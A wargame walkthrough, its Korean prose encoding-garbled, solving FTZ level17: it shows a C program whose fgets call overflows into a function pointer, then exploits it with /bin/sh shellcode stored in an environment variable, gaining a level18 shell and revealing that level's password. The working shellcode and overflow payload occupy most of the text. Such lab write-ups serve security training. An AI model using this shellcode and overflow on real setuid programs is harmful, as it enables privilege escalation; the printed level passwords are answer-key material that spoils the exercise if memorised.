[FTZ] level17 ํ์ด
๐ก FTZ level17 ํ์ด
๋ฌธ์
๊ณ์ : level17/king poetic
hint
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
ํ์ด
16๋ฒ๊ณผ ๋์ผํ๋ฐ, ์ ์ฝ๋๊ฐ ์ฃผ์ด์ง์ง ์์์ต๋๋ค. ๋ฐ๋ผ์ ๊ธฐ์กด์ ํ๋ ๋ฐฉ์์ผ๋ก ํ๊ฒฝ๋ณ์์ ์ ์ฝ๋๋ฅผ ๋ฃ๊ณ , ์ฃผ์๋ฅผ ํ๊ฒฝ๋ณ์๋ก ๋ฐ๊ฟ์ฃผ๋ฉด ๋ฉ๋๋ค.
ํ๊ฒฝ ๋ณ์๋ฅผ ์ ์ธํ๊ณ , ๊ทธ ์ฃผ์๋ฅผ ๊ตฌํด ์ค๋๋ค.
[level17@ftz level17]$ export SHELLCODE=$(python -c 'print("\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
[level17@ftz level17]$
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("SHELLCODE"));}' >> env.c
[level17@ftz tmp]$ gcc -o env env.c
[level17@ftz tmp]$ ./env
0xbffffc6d
call ์ฃผ์๋ฅผ 0xbffffc6d๋ก ๋ฎ์ด์ค๋๋ค.
gdb๋ฅผ ๋ถ์ํ๋๊ฑด ์๋ตํ๊ฒ ์ต๋๋ค.
call ๋ณ์์ buf ๋ณ์์ ์ฐจ์ด๋ 40๋ฐ์ดํธ ์ ๋๋ค.
[level17@ftz level17]$ (python -c 'print("A"*40+"\x6d\xfc\xff\xbf")';cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".
์์ ํ๋ํ์ต๋๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ